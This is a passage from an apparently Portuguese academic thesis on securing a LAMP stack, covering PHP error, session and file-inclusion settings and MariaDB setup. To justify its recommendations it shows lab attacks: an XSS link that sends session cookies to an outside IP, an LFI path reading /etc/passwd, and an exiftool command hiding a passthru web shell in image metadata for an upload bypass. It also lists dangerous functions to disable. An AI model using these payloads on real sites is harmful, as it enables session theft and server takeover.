• Compressão de páginas com o InnoDB/XtraDB; 
• Camada de segurança forte por omissão. 
Para este projeto foi escolhida a utilização da MariaDB, contando para essa decisão o 
facto de ser open-source e esta ter uma melhor performance quando comparado com o 
MySQL em aplicações que tenham uma carga de trabalho equiparada [60].  
 Linguagem de programação 
PHP é uma linguagem de scripting open source que é mais especializada em 
desenvolvimento web [61]. Esta linguagem tem funcionalidades que garantem uma 
melhor facilidade de utilização, como por exemplo o facto de não ser preciso inicializar 
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os tipos de dados das variáveis (weakly typed). É uma linguagem de programação server-
side, que pode ser utilizada isoladamente ou em conjunto com o HTML. Quando é 
interpretado, o PHP cria uma página HTML e manda esses resultados ao cliente, mas sem 
o cliente ter acesso ao código PHP [5].  
O PHP pode ser utilizado em vários sistemas operativos, incluindo Linux, variantes do 
Unix, Windows e MacOS. É também suportado pelos web servers mais utilizados hoje 
em dia, como o Apache, nginx e lighttpd [62].   
 A stack LAMP 
A stack LAMP é constituída por quatro aplicações diferentes: o sistema operativo, Linux; 
o servidor web, Apache HTTP Server; uma base de dados, MySQL ou MariaDB; uma 
linguagem de programação, podendo esta ser PHP, Perl ou Python. Na Figura 1 está 
representada uma stack LAMP.  
 
 
Figura 1 - Representação de uma stack LAMP, adaptada de [63] 
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Quando um utilizador tenta aceder a um site através do seu browser este faz um pedido 
HTTP ao endereço fornecido pelo utilizador [64]. Através de um serviço de Domain 
Name System (DNS), o endereço é traduzido num endereço Internet Protocol (IP) 
utilizado para enviar o pedido ao servidor [65]. No servidor, o pedido é recebido no porto 
80, ou porto 443 no caso de ser utilizado o protocolo HTTPS, e este é aceite apenas se a 
firewall permitir comunicações nesse porto. Sendo o pedido aceite, este é interpretado 
pelo servidor web, o Apache HTTP Server: no caso de ser uma página estática o Apache 
vai ler o ficheiro HTML presente no servidor e devolver de imediato a resposta ao 
utilizador, não precisando de fazer qualquer processamento; se o pedido for uma página 
dinâmica ou aplicação web, este passa pelo interpretador PHP onde será feito algum 
processamento (requisição à base de dados ou memória do servidor por exemplo) para 
depois o PHP construir uma página HTML que será enviada então pelo Apache ao 
utilizador [66].  
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4 PHP 
Nas secções seguintes são analisadas e recomendadas configurações relativamente a 
erros, sessões e cookies e outras configurações que sejam relevantes, como o caso das 
register_globals. 
Todas as configurações do PHP estão presentes num ficheiro, e no sistema operativo em 
utilização, Oracle Linux, está em "/etc/php.ini". As configurações estão 
organizadas por secções, descritas por comentários para uma fácil compreensão das 
mesmas, sendo que também podem ser vistas através da função do PHP phpinfo(). 
Num ambiente em que um utilizador não tenha acesso aos ficheiros de configuração, o 
utilizador pode alterar certas configurações nos próprios scripts do PHP. Para isso o 
utilizador faz uso da função ini_set() com a diretiva e o valor pretendido: 
 
ini_set('display_errors', '1'); 
 
É preciso ter em conta que nem todas as diretivas estão disponíveis através dos scripts. 
Para uma melhor compreensão acerca dos tipos de diretivas possíveis de alterar deve ser 
consultado o manual do PHP [67]. 
4.1  Configurações relativas a erros 
As configurações relativas a erros podem mudar de ambientes de desenvolvimento para 
ambientes de produção, sendo que num ambiente de produção há alguns aspetos a ter em 
conta, como não mostrar os erros aos utilizadores [32]. Com isso em conta, nesta secção 
são analisadas configurações relativas a erros, com o seu valor por omissão e com o valor 
recomendado para um ambiente de produção. 
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 Valores por omissão 
Na Tabela 1 estão descritas as diretivas relacionadas com os erros e que é importante 
fazer menção, como o nível de erros que são guardados ou mostrados, se os erros são 
guardados em logs e se estes são mostrados aos utilizadores. 
 
Tabela 1 - Diretivas de configuração relacionadas com erros 
Diretiva (valores por 
omissão) 
Descrição 
display_errors 
(Off) 
Determina se os erros devem ser mostrados ao utilizador, 
sendo impressos no ecrã como parte do HTML. Pode ter os 
valores On e Off.  
error_reporting 
(E_ALL & 
~E_NOTICE & 
~E_STRICT & 
~E_DEPRECATED) 
Representa o nível de erros a reportar, sendo que pode tomar 
os valores especificados na Tabela 2.  
log_errors (Off) Fazer logging dos erros que possam ocorrer num ficheiro. 
Pode ter os valores On e Off. 
 
Na demonstração foi utilizado um código que força um aviso. No PHP a inicialização de 
variáveis não é obrigatória, contudo, é recomendada e quando no script está uma variável 
por inicializar, o PHP reporta um aviso: 
 
<?php 
    print("Demonstração de erros."); 
    echo $var; 
?> 
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A diretiva display_errors especifica se os erros que ocorrem durante a execução da 
aplicação são mostrados ao utilizador [68]. Na Figura 2 é possível verificar um erro 
mostrado ao utilizador quando esta diretiva está com o valor On. 
 
 
Figura 2 - Erro mostrado ao utilizador 
 
Quando este valor da diretiva estiver a Off, nada é mostrado ao utilizador, como é 
verificado na Figura 3. 
 
 
Figura 3 - Ecrã mostrado ao utilizador sem mostrar os erros 
 
A diretiva error_reporting é onde é especificado o nível de erros que vão ser 
reportados ao programador ou administrador do sistema [69]. Existem vários níveis de 
erros, estando alguns descritos na Tabela 2 [70]. A cada nível são atribuídos um nome e 
um valor de bitmask. Os nomes das constantes apenas funcionam no ficheiro de 
configuração do PHP, "php.ini". Se se quiser alterar algum tipo de configuração no 
ficheiro do Apache, ".htaccess", os nomes não são reconhecidos e, por isso, são 
necessários os valores do bitmask. Todos os níveis de erros do PHP estão descritos no 
Anexo A.1  
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Tabela 2 - Níveis de erros do PHP 
Nome da constante (valor 
bitmask) 
Descrição 
E_ERROR (1) Erros de execução fatais, como problemas de 
alocação de memória, que não podem ser 
recuperados. A execução do script para.  
E_WARNING (2) Avisos que são gerados durante a execução. A 
execução do script não para.  
E_NOTICE (8) Notificações que ocorrem durante a execução do 
script. Indica que encontrou um possível erro. 
E_STRICT (2048) Permite que o PHP faça sugestões sobre alterações 
ao código que permitam que haja uma maior 
interoperabilidade e maior compatibilidade com 
versões posteriores do código. 
E_DEPRECATED (8192) Permite receber avisos acerca de incompatibilidades 
com versões futuras. 
E_ALL (32767 nas versões do 
PHP  5.4.x, 30719 nas versões 
do PHP 5.3.x, 6143 nas versões 
5.2.x e 2047 nas versões 
anteriores) 
Inclui todos os erros e avisos, se suportados pela 
versão do PHP, exceto o nível E_STRICT 
anteriores à versão do PHP 5.4.0. 
 
Outra configuração descrita na Tabela 1  é a log_errors. Esta configuração diz 
respeito aos logs, e quando ativada os erros são guardados num log [71]. Numa stack 
LAMP, e no sistema operativo utilizado, Oracle Linux, os erros do PHP vão para o 
ficheiro "/var/log/httpd/error_log". Neste ficheiro vão estar todos os tipos 
de erros e informações sobre o Apache e os seus módulos, incluindo o PHP. Fora de uma 
stack LAMP, o ficheiro onde são guardados os logs pode ser configurado no ficheiro de 
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configuração do PHP com a diretiva error_log [72]. Nos logs aparece algo semelhante 
ao exemplificado a seguir:  
 
[Fri May 12 19:29:07.554385 2017] [php7:notice] [pid 2691] [client 
192.168.56.1:53785] PHP Notice:  Undefined variable: var in 
/var/www/html/erro.php on line 5 
 Valores recomendados 
Num ambiente de desenvolvimento pode ser importante mostrar erros ao utilizador, mas 
num ambiente de produção deve optar-se por não mostrar os erros. Em vez disso, deve 
mostrar-se uma mensagem vaga a informar o utilizador de que alguma coisa inesperada 
pode ter acontecido [32].  
Apesar de não se dever mostrar os erros ao utilizador, é importante manter um registo dos 
erros para uma análise e melhor manutenção da aplicação. Os erros que são guardados 
nos logs serão os erros relativos aos níveis escolhidos na diretiva error_reporting 
[69]. Num ambiente de desenvolvimento é usual ter todos os erros ativos (E_ALL), mas 
num ambiente de produção pode ser desperdício de recursos guardar todos os tipos de 
erros. De acordo com a informação disponibilizada no ficheiro de configuração do PHP, 
“php.ini”, para um ambiente de produção os valores recomendados devem ser E_ALL, 
que faz referência a todos os erros, exceto os avisos referentes a incompatibilidades 
(E_DEPRECATED) e sugestões para alterações de código pelo PHP (E_STRICT). Na 
Tabela 3 estão presentes as configurações recomendadas relativamente aos erros para um 
ambiente de produção.  
 
Tabela 3 - Valores recomendados na configuração de erros do PHP 
Diretiva Valor por omissão Valor recomendado 
display_errors Off Off 
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Diretiva Valor por omissão Valor recomendado 
error_reporting E_ALL & ~E_NOTICE 
& ~E_STRICT & 
~E_DEPRECATED 
E_ALL & ~E_STRICT 
& ~E_DEPRECATED 
log_errors Off On 
 
4.2 Configurações relativas a sessões e cookies 
O HTTP é um protocolo que se baseia em pedidos e respostas, não possuindo um 
mecanismo que permita manter um estado [73]. Por essa razão, foram criadas as sessões, 
que permitem associar informações ao utilizador quando este procede a uma visita a uma 
página web. As sessões são um pacote onde são guardados todos os tipos de informação 
referentes a uma transação, identificados por um ID, sendo que as informações de sessão 
podem ser guardadas em cookies. Estes cookies são um conjunto de informações sobre o 
utilizador, a sessão e configurações que ficam guardadas no browser e são enviadas pelo 
servidor. Os cookies podem guardar informação não só relativa à sessão, mas também 
informação acerca das preferências do utilizador num determinado site, inclusive o 
conteúdo mostrado ao utilizador pode ser determinado a partir das preferências presentes 
nos cookies. Também nos cookies pode ser armazenada informação acerca da localização 
do utilizador e a partir dessa localização mostrar-lhe certos conteúdos [22].  
De acordo com a legislação da República Portuguesa e da União Europeia, e segundo o 
artigo 5.º da Lei nº 46/2012, o «armazenamento de informações e a possibilidade de 
acesso à informação armazenada no equipamento terminal de um assinante ou utilizador 
apenas são permitidos se estes tiverem dado o seu consentimento prévio, com base em 
informações claras e completas nos termos da Lei de Protecção de Dados (…)». O mesmo 
se passa quanto ao tratamento de dados de localização, «sendo este permitido na medida 
e pelo tempo necessário para a prestação de serviços de valor acrescentado, desde que 
seja obtido consentimento prévio e expresso dos assinantes ou utilizadores», segundo o 
artigo 7.º da Lei n.º 46/2012. 
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 Valores por omissão 
No desenvolvimento de aplicações web as sessões ocupam um lugar de relevo e por isso 
uma boa configuração das sessões é importante para uma aplicação segura. Na Tabela 4 
estão descritas as diretivas relacionadas com as sessões e cookies com os seus valores por 
omissão [25]. 
 
Tabela 4 - Diretivas de configuração relacionadas com a gestão da sessão 
Diretiva (valor por omissão) Descrição 
session.use_cookies (1) Define a utilização de cookies para guardar 
o identificador de sessão no lado do cliente. 
Se estiver desativada, é possível que o ID da 
sessão seja passado num URL através de 
uma variável GET. Como valores, pode ter 
vazio, 0 ou 1. 
session.cookie_secure ( ) Define como os cookies devem ser 
transmitidos. Se esta diretiva estiver ativa, o 
cookie só pode ser enviado se o pedido tiver 
sido feito através de um canal seguro, 
tipicamente HTTPS. Como valores, pode 
ter vazio, 0 ou 1. 
session.use_only_cookies (1) Com esta diretiva ativa, o ID da sessão só é 
guardado nos cookies, impedindo assim que 
o ID da sessão seja transmitido através de 
URLs. Como valores, pode ter vazio, 0 ou 
1. 
session.name (PHPSESSID) Nome atribuído à sessão criada. Este nome 
é utilizado em cookies e URLs para a 
identificação da sessão.    
session.auto_start (1) Num script que faça uso de sessões, a 
sessão tem de ser inicializada. Isso pode ser 
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Diretiva (valor por omissão) Descrição 
feito manualmente através da função 
session_start() ou 
automaticamente, através desta diretiva. 
Quando está ativa, o módulo da sessão 
inicia uma sessão automaticamente. Como 
valores, pode ter vazio, 0 ou 1. 
session.cookie_httponly ( ) Quando ativa, marca o cookie como 
acessível apenas através do protocolo 
HTTP, impedindo que linguagens de 
scripting, como o JavaScript, tenham 
acesso ao cookie. Como valores, pode ter 
vazio, 0 ou 1. 
session.use_trans_sid (0) Se esta diretiva estiver ativa, o ID da sessão 
será agregado ao URL. Se a utilização dos 
cookies estiver desativa, para fazer uma 
gestão de utilizadores por exemplo, é 
preciso que esta diretiva esteja ativa. Como 
valores, pode ter vazio, 0 ou 1. 
 
As configurações relacionadas com as sessões são importantes, e uma diretiva que merece 
atenção na hora da configuração é a session.cookie_httponly. Como referido 
na Tabela 4, esta diretiva está relacionada com a acessibilidade aos cookies e quando 
ativada, os cookies deixam de estar acessíveis a linguagens de scripting, como é o caso 
do JavaScript [26]. A sua importância pode ser demonstrada através da simulação de um 
ataque do tipo XSS. XSS é uma vulnerabilidade que tenta inserir código JavaScript 
malicioso em valores que são posteriormente visíveis numa página web, levando a que o 
browser do utilizador faça alguma ação ou submissão de informação para uma fonte 
insegura [31].  
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No exemplo seguinte é inserido numa caixa de comentários de uma aplicação web um 
código em JavaScript que vai aceder ao cookie dos utilizadores que passarem com o rato 
por cima do comentário e vai enviá-lo para um servidor externo: 
 
<a href="#" 
onmouseover="window.location='http://192.168.1.114/index.ph
p?cookie=' + document.cookie;">Muito bom</a>  
 
O script PHP utilizado para extrair o cookie e guardar na base de dados está presente no 
Anexo A.2 – Script PHP para ataque XSS. Se o ataque for bem-sucedido, o valor do 
cookie vai ser enviado para um servidor externo e será guardado numa base de dados: 
  
+-----------+---------------------------------------------------+ 
| id_cookie | cookie                                            | 
+-----------+---------------------------------------------------+ 
|         1 | cookie=PHPSESSID=82589dbe55f9921ac47a483e8cbf73b2 | 
+-----------+---------------------------------------------------+ 
 
A diretiva, quando configurada com o valor 0 ou vazio, faz com que o ataque seja bem-
sucedido, dando acesso ao cookie ao JavaScript. Mudando a configuração, optando pelo 
valor 1 na diretiva session.cookie_httponly, é possível observar abaixo que o 
script malicioso não obteve acesso ao ID da sessão na execução do mesmo ataque: 
 
+-----------+---------------------------------------------------+ 
| id_cookie | cookie                                            | 
+-----------+---------------------------------------------------+ 
|         2 | cookie=                                           | 
+-----------+---------------------------------------------------+ 
 Valores recomendados 
Como demonstrado na secção 4.2.1, a diretiva session.cookie_httponly é 
importante para a prevenção de ataques do tipo XSS que têm como objetivo o roubo de 
sessão [74].  
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Outro aspeto que se deve ter em conta no momento da configuração das sessões é a forma 
como são enviados os cookies. É sabido que comunicações através do protocolo HTTP 
não garantem confidencialidade, podendo haver ataques Man in the Middle que 
intercetem os cookies, roubando assim as sessões dos utilizadores [75]. Com o objetivo 
de assegurar a integridade e confidencialidade da informação dos utilizadores, a diretiva 
session.cookie_secure garante que os cookies apenas sejam enviados se a 
comunicação for feita por um canal seguro, através do protocolo HTTPS [74]. Na Tabela 
5 estão as configurações relacionadas com as sessões com os valores recomendados para 
um ambiente de produção.  
 
Tabela 5 - Valores recomendados na configuração de sessões do PHP 
Diretiva Valor por omissão Valor recomendado 
session.use_cookies 1 1 
session.cookie_secure 
 
1 
session.use_only_cookies 1 1 
session.name PHPSESSID Mudar caso haja 
outras aplicações no 
mesmo domínio para 
evitar conflitos. 
session.auto_start 1 1 
session.cookie_httponly 
 
1 
session.use_trans_sid 0 0 
4.3 Outras configurações de segurança 
Na configuração do PHP é preciso ter em conta outras diretivas. Para tornar a 
configuração mais segura e evitar certos tipos de ataques, como Local File Inclusion (LFI) 
ou Remote File Inclusion (RFI) é preciso ter em conta diretivas como a 
allow_url_fopen e a allow_url_include.  
  Capítulo 4 - PHP 
 
31 
 Valores por omissão 
Na Tabela 6 estão referidas diretivas que são importantes para garantir a segurança das 
aplicações web. Para além das diretivas allow_url_fopen e 
allow_url_include, são também abordadas as diretivas disable_functions 
e register_globals. 
 
Tabela 6 - Diretivas de configuração relevantes à segurança do PHP 
Diretiva (valor por 
omissão) 
Descrição 
allow_url_fopen 
(On) 
Quando ativa, esta diretiva permite escrever scripts que 
abram ficheiros remotos como se fossem ficheiros 
locais. Pode ter valores On e Off. 
allow_url_include 
(Off) 
Permite ao programador incluir no script ficheiros 
remotos utilizando um URL em vez de um caminho 
para um ficheiro local.  
disable_functions 
() 
Permite desativar a execução de funções do PHP. 
register_globals 
(Off) 
Ativa a utilização das variáveis globais no PHP. Pode 
ter valores de On e Off. Esta diretiva depois da versão 
5.4 do PHP já não existe. 
 
A diretiva register_globals foi uma funcionalidade existente no PHP até à versão 
5.4. Apesar de à data deste projeto o PHP já estar na versão 7.1.3, é importante ser referida 
já que nem sempre os sistemas são atualizados para versões mais recentes do software. 
Quando ativada, a diretiva register_globals regista os elementos do array 
$_REQUEST, que engloba o $_GET, $_POST e $_COOKIE, como sendo variáveis. Isso 
vai permitir que os dados de um formulário, ao ser submetido através de POST ou GET, 
vão estar acessíveis a uma variável que tenha o mesmo nome do campo do formulário 
[6]. Como exemplo do seu funcionamento, pode ser feito o seguinte cenário: depois de se 
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submeter um formulário que tenha o nome username num campo, e se se fizer uma 
verificação do tipo ($username === $_POST['username']) no início de outro 
script, esta iria dar um resultado verdadeiro. Isto é possível porque no PHP a inicialização 
de variáveis não é obrigatória, sendo, contudo, recomendada [6]. Esta diretiva pode ser 
prática para os programadores, mas tem as suas desvantagens, nomeadamente na 
segurança das aplicações web. Para demonstrar os perigos da utilização desta diretiva foi 
necessária a instalação de um sistema operativo antigo (Ubuntu 12.04 TLS) com a versão 
do PHP 5.3.10. No exemplo prático, foi utilizado o código seguinte, onde é feito um 
include de um caminho dinâmico: 
 
<?php 
    include "$path"; 
?> 
 
Como a variável $path não está inicializada, esta pode tomar o valor passado pelos 
métodos HTTP. Se um utilizador acrescentar ao URL 
?path=./../../../etc/passwd, este vai ter acesso aos utilizadores do servidor, 
como demonstrado na Figura 4, e mostrá-los no browser do utilizador. Este ataque é do 
tipo LFI e permite a um atacante incluir ficheiros que já estão presentes no servidor, como 
é o caso do ficheiro "etc/passwd" acedido no exemplo [76]. Outra variante desta 
vulnerabilidade é o RFI, que faz a inclusão de ficheiros remotos [77]. É possível perceber 
que a utilização dos register_globals é perigosa e pode ser aproveitada para 
explorar vulnerabilidades nas aplicações web. Por causa disso, as versões recentes do PHP 
removeram por completo essa funcionalidade das suas configurações. Porém, para quem 
ainda precisa de trabalhar com versões antigas do PHP, para evitar a utilização dos 
register_globals, no ficheiro de configuração do PHP, a diretiva 
register_globals tem de estar definida como Off. Se o programador não tiver 
acesso ao ficheiro de configuração do PHP, no ficheiro de configuração do Apache, 
".htaccess", pode utilizar a linha seguinte para a desativar: 
 
php_flag register_globals 0 
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Figura 4 - Demonstração de vulnerabilidades através da utilização de variáveis globais 
 
O PHP tem algumas funções na sua linguagem que permitem a execução de comandos 
do sistema operativo nos seus scripts. Uma dessas funções é a passthru(). Esta função 
permite a execução de comandos do sistema operativo e escreve o output desse comando 
[78]. Mesmo sem que o script original faça uso deste tipo de funções, é possível fazer 
injeção de código e executar essas funções se as mesmas não forem desativadas. Como 
demonstração de um ataque de injeção de código, pode utilizar-se uma página em que se 
faça upload de ficheiros para o servidor, o que é uma situação comum. Muitos dos 
formulários de upload têm restrições quanto às extensões possíveis de carregar para o 
servidor, mas mesmo assim não torna o sistema impermeável a ataques. No exemplo 
seguinte é utilizada uma página com um formulário de upload de ficheiros de imagem, 
representada na Figura 5. O código utilizado neste formulário, assim como o script PHP 
utilizado para a validação e carregamento dos ficheiros, está presente no Anexo A.3 – 
Upload de ficheiros e foi retirado do website W3Schools [79].  
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Figura 5 - Formulário de upload de ficheiros de imagem 
 
Quando se tenta fazer o upload de um ficheiro que não seja do mesmo tipo de extensões 
permitidas ( .jpg, .jpeg, .png e .gif) não é possível completar o carregamento do ficheiro. 
Contudo, para dar a volta a essa situação, muitos atacantes fazem uso dos metadados das 
imagens para a execução de ataques. Os metadados são um conjunto de informações, 
neste caso acerca de imagens, onde estão informações como a data em que foi criada, data 
em que foi modificada, o tipo de ficheiro que tem, tamanho de resolução, etc [80]. Na 
Figura 6 estão representadas as informações presentes nos metadados de uma imagem.  
 
 
Figura 6 - Informações presentes nos metadados de uma imagem 
 
Para esta demonstração foi utilizado a ferramenta ExifTool para alterar os metadados 
[81]. A partir da linha de comandos, foi adicionada uma tag, DocumentName, aos 
metadados já existentes de uma imagem, demonstrado a seguir. A tag inserida descreve 
o nome do documento de onde a imagem foi copiada [82]: 
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exiftool -DocumentName="<?php passthru($_GET['cmd']); 
__halt_compiler(); ?>" C:/Users/rcrda/Downloads/exiftool-
10.52/mini.jpg  
 
O código PHP inserido nessa tag vai executar os comandos do sistema operativo passados 
pelo URL, sendo que a função __halt_compiler() vai parar a execução do 
compilador [83]. Para realizar o carregamento do ficheiro alterado para o servidor, tem 
de se mudar o nome do ficheiro para que este tenha a extensão do PHP, mas também uma 
extensão aceite pela aplicação. Nesta demonstração foi utilizado o nome 
"mini.php.jpg". Na Figura 7 está representado o carregamento com sucesso do 
ficheiro alterado, com a informação sobre o tipo de ficheiros que foi carregado para o 
servidor. O ficheiro foi carregado para o servidor e foi reconhecido como uma imagem 
com a extensão .jpeg.  
 
 
Figura 7 - Carregamento do ficheiro de imagem alterado para o servidor 
 
Para que seja possível executar o script PHP é necessário que se esteja dentro do diretório 
onde ficam os ficheiros carregados. Na demonstração sabia-se à partida qual era o 
diretório de destino dos ficheiros, pois no script de upload foi especificada uma pasta 
para esse efeito. Num ataque em contexto real, é possível descobrir o diretório dos 
ficheiros através de aplicações, como por exemplo o Zed Attack Proxy (ZAP) criado pelo 
Open Web Application Security Project (OWASP) [84].    
Neste exemplo o comando executado foi cat /etc/passwd que vai mostrar as 
informações presentes no ficheiro "/etc/passwd", demonstrado na Figura 8. 
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Figura 8 - Execução dos comandos a partir das funções do PHP 
 Valores recomendados 
Nem sempre os valores presentes por omissão nas configurações são os valores mais 
seguros e por essa razão, o OWASP na sua recomendação de configuração do PHP sugere 
a desativação de algumas diretivas, estando algumas delas descritas na Tabela 6 [85]. A 
diretiva allow_url_fopen permite que os scripts PHP acedam a localizações remotas 
e obtenham dados a partir daí [86]. O mesmo acontece para a diretiva 
allow_url_include, mas neste caso, vai permitir ao programador fazer um 
include() de um ficheiro remoto, utilizando um URL em vez de um caminho local 
para o ficheiro [87]. Incluir ficheiros ou conteúdo de localizações remotas pode ser 
inseguro, podendo um atacante tentar incluir conteúdo de outro URL forçando a aplicação 
a executar código malicioso. Com o intuito de evitar ataques do tipo RFI, é recomendada 
a desativação destas duas diretivas [85].  
Outro ponto que o OWASP foca é a desativação de funções do PHP que não são utilizadas 
[85]. Na secção 4.3.1 foi demonstrado com sucesso a execução de um ataque onde foi 
utilizada a função do PHP passthru() para executar comandos do sistema operativo. 
Existe uma variedade de funções que podem ser consideradas perigosas quando utilizadas 
por um utilizador externo à aplicação e, por isso, deve ser é recomendada a sua 
desativação [85].  
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Na Tabela 7 estão algumas das funções que devem ser desativadas com a diretiva 
disable_functions. No Anexo A.4 – Funções do PHP perigosas estão presentes 
todas as funções que são recomendadas para serem desativadas, de acordo com o 
OWASP. 
 
Tabela 7 - Lista de algumas das funções que devem ser desativas na configuração do PHP 
Função Descrição 
system Executa um comando do sistema operativo e mostra o resultado. 
exec Executa um comando do sistema operativo. 
shell_exec Executa um comando pela Shell e retorna o resultado como uma 
string. 
passthru Semelhante à função exec() mas deve ser utilizada quando o 
resultado do comando forem dados binários. 
phpinfo Retorna informações acerca do PHP instalado no sistema. 
show_source Retorna o código fonte de um ficheiro com a sintaxe destacada. 
putenv Atribui valores a uma variável de ambiente.  
chmod Muda as permissões de um ficheiro. 
 
Os valores recomendados para as diretivas discutidas nesta secção estão presentes na 
Tabela 8. Também nesta tabela está presenta a diretiva register_globals, analisada 
na secção 4.3.1, e como foi concluído, para uma melhor segurança e impedir a má 
utilização por parte dos utilizadores, a sua desativação é recomendada. 
 
Tabela 8 - Valores recomendados relativos a inclusão de ficheiros e funções do PHP 
Diretiva Valor por omissão Valor recomendado 
allow_url_fopen On Off 
allow_url_include Off Off 
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Diretiva Valor por omissão Valor recomendado 
disable_functions 
 
system, exec, 
shell_exec, 
passthru, phpinfo, 
show_source, popen, 
proc_open, 
fopen_with_path, 
dbmopen, 
dbase_open, putenv, 
move_uploaded_file, 
chdir, mkdir, 
rmdir, chmod, 
rename, filepro, 
filepro_rowcount, 
filepro_retrieve, 
posix_mkfifo 
register_globals Off Off 
 
No capítulo seguinte irá ser abordada a segurança da MariaDB, com várias 
recomendações de segurança e aspetos a ter em conta na sua configuração. 
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5 MariaDB  
Neste capítulo vai ser abordada a configuração da MariaDB, incluindo porto de acesso, 
ligações seguras ao servidor, ficheiros de log e auditoria no servidor da base de dados. 
São tratadas também questões que incidem mais numa questão de desenvolvimento, como 
a gestão de utilizadores pelo servidor, as prepared statements e os algoritmos de hash.   
Uma base de dados é um ponto fulcral na maioria das aplicações. É nela que são 
armazenados os dados dos utilizadores e, sendo a integridade dos dados um dos principais 
focos da segurança, é importante ter a base de dados bem configurada e segura para que 
esta fique o mais protegida possível.  
Durante a instalação da MariaDB no sistema, são criadas quatro bases de dados por 
omissão: information_schema, onde são guardadas views que fornecem informação 
acerca de tabelas, colunas, views e procedimentos do sistema [88]; 
performance_schema, utilizada para fazer a monitorização do servidor de base de 
dados [89]; mysql, contem informações importantes como informações de privilégios e 
permissões [90]; test, permite aos utilizadores da base de dados explorar a base de 
dados sem precisarem de pedir permissões aos administradores [91]. De seguida são 
mostradas as tabelas criadas: 
 
MariaDB [(none)]> show databases; 
+--------------------+ 
| Database           | 
+--------------------+ 
| information_schema | 
| mysql              | 
| performance_schema | 
| test               | 
+--------------------+ 
 
Por omissão, na instalação são também criados utilizadores, como é mostrado no exemplo 
seguinte. De notar que nenhum utilizar root tem palavra-passe e existem utilizadores 
anónimos com acesso ao servidor: 
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MariaDB [(none)]> select user, password, host from 
mysql.user; 
+------+----------+------------------+ 
| user | password | host             | 
+------+----------+------------------+ 
| root |          | localhost        | 
| root |          | lamp.localdomain | 
| root |          | 127.0.0.1        | 
| root |          | ::1              | 
|      |          | localhost        | 
|      |          | lamp.localdomain | 
+------+----------+------------------+ 
5.1 Configuração segura 
Fazendo uma análise às bases de dados e utilizadores criados por omissão, percebe-se que 
não se pode ter utilizadores anónimos com acesso ao servidor se se pretender ter um 
servidor seguro. Para eliminar este tipo de utilizadores, limpar algumas bases de dados, 
como a base de dados test, e configurar alguns privilégios, é preciso executar um script 
que vem no pacote de instalação da MariaDB, o mysql_secure_installation 
[47]. Na execução do script, mostrada abaixo, são feitas várias questões ao utilizador. 
 
[rcrd@lamp ~]$ mysql_secure_installation 
NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MariaDB 
      SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY! 
 
A primeira questão é se o utilizador quer definir uma palavra-passe para o utilizador 
root. É importante que este utilizador tenha alguma forma de autenticação para impedir 
acessos não autorizados ao servidor. Depois de estabelecida a autenticação do utilizador 
root, o utilizador é questionado se é pretendida a remoção dos utilizadores anónimos. 
Estes utilizadores são autorizados a entrar no servidor sem qualquer tipo de conta criada, 
devendo ser apenas utilizados em ambientes de teste. Para ambientes de produção é 
importante que este tipo de utilizadores seja eliminado visto serem uma ameaça à 
segurança do servidor de base de dados. A partir da execução deste script, é possível 
desativar a ligação remota ao servidor do utilizador root. Para assegurar a autenticidade 
do utilizador root, este deve apenas ser autorizado a fazer ligações à base de dados a 
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partir do endereço loopback 127.0.0.1, ou localhost. O último passo da execução do script 
é a eliminação da base de dados test. Como referido na secção anterior, por omissão é 
criada uma base de dados test, com o objetivo de ser explorada por utilizadores sem 
que seja preciso ter permissões dos administradores da base de dados. Num ambiente de 
produção, e devido ao seu carácter inseguro, esta base de dados deve ser apagada. 
5.2 Utilizadores e privilégios 
Numa aplicação web que faça uso de uma base de dados, nela tem de estar especificada 
a ligação à base de dados, demonstrada no exemplo seguinte. Aqui são especificados o 
endereço do servidor, e as credenciais de utilizador a utilizar na base de dados: 
 
$servername = "localhost"; 
$username = "root"; 
$password = "palavrasegura"; 
$database = "budget"; 
$db = new mysqli($servername, $username, $password, 
$database);  
 
Acima está ilustrado um exemplo de uma ligação à base de dados. Esta ligação é feita 
através do utilizador root, o que em termos de segurança não é aconselhável, pois assim 
a aplicação web teria privilégios de administrador na base de dados. Para evitar situações 
destas, é aconselhada a criação de um utilizador para a aplicação fazer uso da base de 
dados, somente com os privilégios estritamente necessários para o bom funcionamento 
da aplicação [30]. 
Um dos perigos para a má gestão de privilégios dos utilizadores da base de dados é um 
ataque do tipo SQLi. SQLi é uma técnica que permite explorar vulnerabilidades criadas 
na construção de queries à base de dados [92]. Este tipo de vulnerabilidades é 
extremamente perigoso e, um ataque, se bem-sucedido, dá acesso a toda a informação 
presente na base de dados, incluindo utilizadores, administradores e informações do 
sistema. Este ataque é possível devido a deficiências na validação do input dos 
utilizadores em formulários de uma aplicação [93]. Apesar dos utilizadores inseridos na 
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configuração da ligação à base de dados não prevenir um ataque, faz com que os estragos 
possam ser significativamente mais pequenos ao não ter privilégios de administrador na 
base de dados. Através de algumas ferramentas, como o caso do Sqlmap, é possível testar 
aplicações web contra vulnerabilidades SQLi, como mostrado na Figura 9 [94]. 
 
 
Figura 9 - Demonstração de um ataque do tipo SQLi 
 
Na Figura 9 está ilustrado o resultado a um teste feito através do Sqlmap, em que se 
confirmou que a aplicação web é vulnerável. Com esta ferramenta é possível explorar o 
servidor de base de dados e com isso saber as bases de dados presentes neste, conforme 
ilustrado na Figura 10. É possível observar que foram mostradas ao atacante as bases de 
dados mysql e performance_schema, bases de dados administrativas e que contêm 
informações sensíveis relacionadas com o sistema e com as bases de dados presentes no 
servidor.   
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Figura 10 - Bases de dados presentes no servidor 
 
Para prevenir que um atacante tenha acesso a este tipo de informações, mesmo sendo a 
aplicação vulnerável a ataques do tipo SQLi, é importante que o utilizador especificado 
na aplicação no momento de configurar a ligação à base de dados tenha apenas os 
privilégios estritamente necessários à utilização da aplicação [30]. Na MariaDB, quando 
é criado um novo utilizador, este tem por omissão privilégios do tipo USAGE, é mostrado 
no exemplo seguinte, dando apenas permissão ao utilizador para fazer login no servidor 
[95]: 
 
MariaDB [(none)]> show grants for appweb@localhost; 
+--------------------------------------------------------------------------+ 
| Grants for appweb@localhost                                              |                                
+--------------------------------------------------------------------------+ 
| GRANT USAGE ON *.* TO 'appweb'@'localhost'         | 
| IDENTIFIED BY PASSWORD '*AD4AAB1354C65D91EA23496019ABAE9F175C5E40'     | 
+--------------------------------------------------------------------------+ 
 
Na criação do utilizador tem de se especificar o hostname a partir do qual é autorizado a 
conectar-se à base de dados. Existem diversos métodos de especificar um hostname: 
wildcards, com caracteres como "%" ou "_" que permitem ao utilizador conectar-se a 
